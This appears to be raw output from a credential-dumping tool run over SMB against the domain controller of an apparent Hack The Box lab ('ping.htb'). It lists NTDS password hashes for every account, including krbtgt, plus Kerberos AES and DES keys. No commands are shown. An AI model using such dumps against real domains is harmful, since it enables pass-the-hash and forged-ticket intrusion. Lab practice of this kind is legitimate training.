SMB         dc1.ping.htb    445    dc1              Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         dc1.ping.htb    445    dc1              krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d03746770b64696128d1f91b0617aa63:::
SMB         dc1.ping.htb    445    dc1              M.Russell:2610:aad3b435b51404eeaad3b435b51404ee:f5db5f47f097ab021ee98a30e242ac5e:::
SMB         dc1.ping.htb    445    dc1              G.Lorents:2611:aad3b435b51404eeaad3b435b51404ee:b455ecc1652c11cd5f66e95f39e71b23:::
SMB         dc1.ping.htb    445    dc1              Z.Iskam:2612:aad3b435b51404eeaad3b435b51404ee:e50d980fda4d49a973b4327d370f97d1:::
SMB         dc1.ping.htb    445    dc1              M.Wallace:2613:aad3b435b51404eeaad3b435b51404ee:56d180be2dbf58b6b6409ff3b7882e29:::
SMB         dc1.ping.htb    445    dc1              P.Paul:2614:aad3b435b51404eeaad3b435b51404ee:5ce178304d579bc1327d5b3d561760ef:::
SMB         dc1.ping.htb    445    dc1              A.Gordon:2615:aad3b435b51404eeaad3b435b51404ee:48537e9b0cc712176fdb92e813cb5058:::
SMB         dc1.ping.htb    445    dc1              P.Klain:2616:aad3b435b51404eeaad3b435b51404ee:d85a2e328ee4eac26e76e6f02cb31ba6:::
SMB         dc1.ping.htb    445    dc1              C.Roberts:2617:aad3b435b51404eeaad3b435b51404ee:2475be69d40e815588a85fd89c7a439d:::
SMB         dc1.ping.htb    445    dc1              S.Zhoski:2629:aad3b435b51404eeaad3b435b51404ee:361eddef6f02ae10a6313c07937ada22:::
SMB         dc1.ping.htb    445    dc1              R.Miller:2630:aad3b435b51404eeaad3b435b51404ee:e220860233958f586ba756cb85676286:::
SMB         dc1.ping.htb    445    dc1              A.Adam:2631:aad3b435b51404eeaad3b435b51404ee:b61722e29b5b22f4a4ad7b74e33c9f71:::
SMB         dc1.ping.htb    445    dc1              R.Robins:2632:aad3b435b51404eeaad3b435b51404ee:a7020eb3d35dd57f2d17aa1606c2aa40:::
SMB         dc1.ping.htb    445    dc1              P.Pollek:2633:aad3b435b51404eeaad3b435b51404ee:274a7166a54f86ee23a1ce06d89646e4:::
SMB         dc1.ping.htb    445    dc1              O.Plinski:2634:aad3b435b51404eeaad3b435b51404ee:88e28600eb3b73747ff18038fde405bd:::
SMB         dc1.ping.htb    445    dc1              V.Vodomir:2635:aad3b435b51404eeaad3b435b51404ee:82ff8a589f262eb311fd105c241d5c9b:::
SMB         dc1.ping.htb    445    dc1              D.MacKenzie:2637:aad3b435b51404eeaad3b435b51404ee:fb1027889ab135ce616421bc56464f1f:::
SMB         dc1.ping.htb    445    dc1              P.Vandeval:2638:aad3b435b51404eeaad3b435b51404ee:9200f377c51934d7a32a8b854bab10b5:::
SMB         dc1.ping.htb    445    dc1              T.Yang:2639:aad3b435b51404eeaad3b435b51404ee:3ffb8b304717ac77ad5ad50e4e62133e:::
SMB         dc1.ping.htb    445    dc1              N.Neri:2640:aad3b435b51404eeaad3b435b51404ee:43fa93d482aa6c2024d22e0c42f3845f:::
SMB         dc1.ping.htb    445    dc1              W.Williams:2641:aad3b435b51404eeaad3b435b51404ee:6f2e39ca814870c04acbeb11496ddead:::
SMB         dc1.ping.htb    445    dc1              K.Podroski:2642:aad3b435b51404eeaad3b435b51404ee:384ea7cc156e71cc99df84270667bb58:::
SMB         dc1.ping.htb    445    dc1              G.James:2643:aad3b435b51404eeaad3b435b51404ee:bf7407879e81380e204200430d68efd6:::
SMB         dc1.ping.htb    445    dc1              DC1$:1000:aad3b435b51404eeaad3b435b51404ee:238f779053e6dc0de47b2aa15089023e:::
SMB         dc1.ping.htb    445    dc1              gMSA$:2622:aad3b435b51404eeaad3b435b51404ee:13bb99f6205af6bec63d7fe5b4dc7ef5:::
SMB         dc1.ping.htb    445    dc1              pong$:2601:aad3b435b51404eeaad3b435b51404ee:98d8af55bbcc9cf8e364bd5a19860487:::
SMB         dc1.ping.htb    445    dc1              [*] Kerberos keys:
SMB         dc1.ping.htb    445    dc1              Administrator:aes256-cts-hmac-sha1-96:fe77eaeb511e1cf9accc7cae69321ebb80ba330c4f115b34702923f2714d4496
SMB         dc1.ping.htb    445    dc1              Administrator:aes128-cts-hmac-sha1-96:78f0835c4f0c282b86fb8c48774aaee4
SMB         dc1.ping.htb    445    dc1              Administrator:des-cbc-md5:4ca2da0df40eb9f2
SMB         dc1.ping.htb    445    dc1              krbtgt:aes256-cts-hmac-sha1-96:a03b3916abf658bc767fe27655892185cf3ce223ed3425fafa759e7b77e73296
SMB         dc1.ping.htb    445    dc1              krbtgt:aes128-cts-hmac-sha1-96:3ad16baca3a7f27bcd79a3e0bd496df8
SMB         dc1.ping.htb    445    dc1              krbtgt:des-cbc-md5:c4f7cd83e3255e89
SMB         dc1.ping.htb    445    dc1              M.Russell:aes256-cts-hmac-sha1-96:9f7b96c3537b8b5d7475e0867768748931bb53d4f89da2ed6b7cc2a7e17c7932
SMB         dc1.ping.htb    445    dc1              M.Russell:aes128-cts-hmac-sha1-96:32e04cd9d373c5435a18bf3aa7100b1b
SMB         dc1.ping.htb    445    dc1              M.Russell:des-cbc-md5:1ceff468a83468fb
SMB         dc1.ping.htb    445    dc1              G.Lorents:aes256-cts-hmac-sha1-96:8391070b6cf0acf56bc66db54f14745e2089dbc5d0390bd2cffd824a203fbad7
SMB         dc1.ping.htb    445    dc1              G.Lorents:aes128-cts-hmac-sha1-96:89075f56b9e987a8b5fa92825c719c3c
SMB         dc1.ping.htb    445    dc1              G.Lorents:des-cbc-md5:9d68348c106831e5
SMB         dc1.ping.htb    445    dc1              Z.Iskam:aes256-cts-hmac-sha1-96:4f6a9bff5e79bdeae577e854c81b492d3b81d563f3634ffca5b0fb8dcc67773f
SMB         dc1.ping.htb    445    dc1              Z.Iskam:aes128-cts-hmac-sha1-96:dc6bb8df891d871052f9a3908598fef5
SMB         dc1.ping.htb    445    dc1              Z.Iskam:des-cbc-md5:76d0794320cb51e3
SMB         dc1.ping.htb    445    dc1              M.Wallace:aes256-cts-hmac-sha1-96:905043bf92e100b05c9a797b970c938dc980339b071b88a603862bfdfc701eb8
SMB         dc1.ping.htb    445    dc1              M.Wallace:aes128-cts-hmac-sha1-96:9b7c1c52bbb0659ed47fcdb0724ec659
SMB         dc1.ping.htb    445    dc1              M.Wallace:des-cbc-md5:dc7c10bf453bcd98
SMB         dc1.ping.htb    445    dc1              P.Paul:aes256-cts-hmac-sha1-96:1a62f105880eb7fccb92f1c9e2ec49bfe14aad6ac26bee03cd494efcb915648d
SMB         dc1.ping.htb    445    dc1              P.Paul:aes128-cts-hmac-sha1-96:046f3ecb73c3fc1bf117569e1b708aee
SMB         dc1.ping.htb    445    dc1              P.Paul:des-cbc-md5:e3c70ddaa43e2c7c
SMB         dc1.ping.htb    445    dc1              A.Gordon:aes256-cts-hmac-sha1-96:ae39417793a392c16768871139ecc5aa23bc79e9f6f2a0a3ea5e2a3e631cde0b
SMB         dc1.ping.htb    445    dc1              A.Gordon:aes128-cts-hmac-sha1-96:d3f492c94349547e7a02cd7f0cc8243c
SMB         dc1.ping.htb    445    dc1              A.Gordon:des-cbc-md5:0407bca7d302546d
SMB         dc1.ping.htb    445    dc1              P.Klain:aes256-cts-hmac-sha1-96:be46cbb3ced7710db317a61cd1deb69493f0185f67318c157049595968db2fba
SMB         dc1.ping.htb    445    dc1              P.Klain:aes128-cts-hmac-sha1-96:9c3eb1fc0abbd12d49dc4e08db81cddf
SMB         dc1.ping.htb    445    dc1              P.Klain:des-cbc-md5:2376e69b19fb1010
SMB         dc1.ping.htb    445    dc1              C.Roberts:aes256-cts-hmac-sha1-96:1287d579478f88538aaac2163b8d957e7a79c7db2a2068415117b61b830d7a69
SMB         dc1.ping.htb    445    dc1              C.Roberts:aes128-cts-hmac-sha1-96:16cf180098a467799138d5ff4f150766
SMB         dc1.ping.htb    445    dc1              C.Roberts:des-cbc-md5:8afe04fb760d2a8f
SMB         dc1.ping.htb    445    dc1              S.Zhoski:aes256-cts-hmac-sha1-96:525c7eda035297ee847966df8a745e7c3f40bad31862cb0423e7ce0615ecd680
SMB         dc1.ping.htb    445    dc1              S.Zhoski:aes128-cts-hmac-sha1-96:43a40dcce3b2ff1b578b541dfc12a34c
SMB         dc1.ping.htb    445    dc1              S.Zhoski:des-cbc-md5:07b620f8ef804f91
SMB         dc1.ping.htb    445    dc1              R.Miller:aes256-cts-hmac-sha1-96:7353a74aa1e3022f8abc663dcfe84e5b878241f9d4254902e6858f734d8996f9
SMB         dc1.ping.htb    445    dc1              R.Miller:aes128-cts-hmac-sha1-96:81c1c0c096d6c85e915464535ee563b6
SMB         dc1.ping.htb    445    dc1              R.Miller:des-cbc-md5:c81392bc5b73202c
SMB         dc1.ping.htb    445    dc1              A.Adam:aes256-cts-hmac-sha1-96:04091ced1b57eff1ce441d89823e440ce36ed842a4ca25855ef6d3695b746905
SMB         dc1.ping.htb    445    dc1              A.Adam:aes128-cts-hmac-sha1-96:7e1cbb5f3508de3379c5c29d2a8e22bd
SMB         dc1.ping.htb    445    dc1              A.Adam:des-cbc-md5:85b075131c9b20e6
SMB         dc1.ping.htb    445    dc1              R.Robins:aes256-cts-hmac-sha1-96:a8aa4a1a7b516dc5fb66d4cb4b92586592ad9f8c8aeb441d8a726ffecd714197
SMB         dc1.ping.htb    445    dc1              R.Robins:aes128-cts-hmac-sha1-96:323550366c8412614c528003e4e45644
SMB         dc1.ping.htb    445    dc1              R.Robins:des-cbc-md5:9e4fcdb37362cdce
SMB         dc1.ping.htb    445    dc1              P.Pollek:aes256-cts-hmac-sha1-96:80707fa51025e7d6b9b2a78eef80dc8f57adfd7279d318a4a7293120da16cdb9
SMB         dc1.ping.htb    445    dc1              P.Pollek:aes128-cts-hmac-sha1-96:cc2d981b2b3a330c31e1f714c2c2c40e
SMB         dc1.ping.htb    445    dc1              P.Pollek:des-cbc-md5:5dae528cf70ba737
SMB         dc1.ping.htb    445    dc1              O.Plinski:aes256-cts-hmac-sha1-96:68903c7bc5a8befba66d545995ac0528bc4aac83b3dfa6e4b096c10e34fea4bc
SMB         dc1.ping.htb    445    dc1              O.Plinski:aes128-cts-hmac-sha1-96:440547a950a2985b2067b70ef4877507
SMB         dc1.ping.htb    445    dc1              O.Plinski:des-cbc-md5:91ad681adf4a5457
SMB         dc1.ping.htb    445    dc1              V.Vodomir:aes256-cts-hmac-sha1-96:6da880facead97bdcd66c3b25dc21a1aa16f14bf74004bad598a7908104cbe7f
SMB         dc1.ping.htb    445    dc1              V.Vodomir:aes128-cts-hmac-sha1-96:fb0c7af60798abfccab24a26ccf65305
SMB         dc1.ping.htb    445    dc1              V.Vodomir:des-cbc-md5:314c329716b0ceda
SMB         dc1.ping.htb    445    dc1              D.MacKenzie:aes256-cts-hmac-sha1-96:14e32344d295b887832b4cb020645ffded6b9070eccd833768cf48e69164651b
SMB         dc1.ping.htb    445    dc1              D.MacKenzie:aes128-cts-hmac-sha1-96:4c3502073333b822ef97cb8fb20c654a
SMB         dc1.ping.htb    445    dc1              D.MacKenzie:des-cbc-md5:9bab3b201a6e894c
SMB         dc1.ping.htb    445    dc1              P.Vandeval:aes256-cts-hmac-sha1-96:baeb95e5a716c2a418dd0f79ac55a52e6ca98b5a97594c1ba2f847b447effaff
SMB         dc1.ping.htb    445    dc1              P.Vandeval:aes128-cts-hmac-sha1-96:f8c79571cbb435be621704471b5e87c9
SMB         dc1.ping.htb    445    dc1              P.Vandeval:des-cbc-md5:0bb3a808e662020b
SMB         dc1.ping.htb    445    dc1              T.Yang:aes256-cts-hmac-sha1-96:789139902d2f6eac5a429950cb9ee4f3e5878eb92736ef05dba65cfa37a80ebe
SMB         dc1.ping.htb    445    dc1              T.Yang:aes128-cts-hmac-sha1-96:dc7ec6a270f452aee9c22dec2e08de3c
SMB         dc1.ping.htb    445    dc1              T.Yang:des-cbc-md5:679ea86bd0b0ef5d
SMB         dc1.ping.htb    445    dc1              N.Neri:aes256-cts-hmac-sha1-96:75b1fba73117c24d3b2afb22e238ed50b5cecda7c2d2e337cbb5352a14180c13
SMB         dc1.ping.htb    445    dc1              N.Neri:aes128-cts-hmac-sha1-96:05674c75ed4821b687a29a7f6420192e
SMB         dc1.ping.htb    445    dc1              N.Neri:des-cbc-md5:8c5ec431e092b3f4
SMB         dc1.ping.htb    445    dc1              W.Williams:aes256-cts-hmac-sha1-96:37d3b543929d2e8c20848bae188552f0a5ecd8f0f5371eee8ef6a091d5383580
SMB         dc1.ping.htb    445    dc1              W.Williams:aes128-cts-hmac-sha1-96:ee3f332388b2aa8f7a666675efe3a0c3
SMB         dc1.ping.htb    445    dc1              W.Williams:des-cbc-md5:70433edaa831c8ae
SMB         dc1.ping.htb    445    dc1              K.Podroski:aes256-cts-hmac-sha1-96:ab0c6d5bc22fc3ea3edb9bab264c3cce6cad259a75e08346d685e79a6e90b9e8
SMB         dc1.ping.htb    445    dc1              K.Podroski:aes128-cts-hmac-sha1-96:10d7af9990a4cf479756cc036957b446
SMB         dc1.ping.htb    445    dc1              K.Podroski:des-cbc-md5:2f049dc7eadcfe5d
SMB         dc1.ping.htb    445    dc1              G.James:aes256-cts-hmac-sha1-96:6b644e196e1c879240bf20e312368fb4dd7417b4ccda2565416df69939e5cc0a
SMB         dc1.ping.htb    445    dc1              G.James:aes128-cts-hmac-sha1-96:6bcb5bc52f85bd548fac190b825b62b3
SMB         dc1.ping.htb    445    dc1              G.James:des-cbc-md5:61d673c70770cd62
SMB         dc1.ping.htb    445    dc1              DC1$:aes256-cts-hmac-sha1-96:7e1352899cf2401de58146cf17f0a38c1896c0029e89bacd9bf196b9b2987fb0
SMB         dc1.ping.htb    445    dc1              DC1$:aes128-cts-hmac-sha1-96:4c8a768c8b815e1e705307f83daf0fc7
SMB         dc1.ping.htb    445    dc1              DC1$:des-cbc-md5:f816a78023cbcd92
SMB         dc1.ping.htb    445    dc1              gMSA$:aes256-cts-hmac-sha1-96:256a83096bb1f6743b9fedb1616383b6d564c5d5dd85baf6e1d8308522addc55
SMB         dc1.ping.htb    445    dc1              gMSA$:aes128-cts-hmac-sha1-96:d15d3503df570694d742b0c61e3c0401
SMB         dc1.ping.htb    445    dc1              gMSA$:des-cbc-md5:9e3b9bc215857a75
SMB         dc1.ping.htb    445    dc1              pong$:aes256-cts-hmac-sha1-96:31ac84034a64060a216d2c0fbda265892bd41d90dabff122406c0122f7dbf545
SMB         dc1.ping.htb    445    dc1              pong$:aes128-cts-hmac-sha1-96:e83cb1978f5334573b74e78ef5dea60f
SMB         dc1.ping.htb    445    dc1              pong$:des-cbc-md5:040b2f542c0eabda
SMB         dc1.ping.htb    445    dc1              [+] Dumped 28 NTDS hashes
SMB         dc1.ping.htb    445    dc1              [+] Dumped 81 Kerberos keys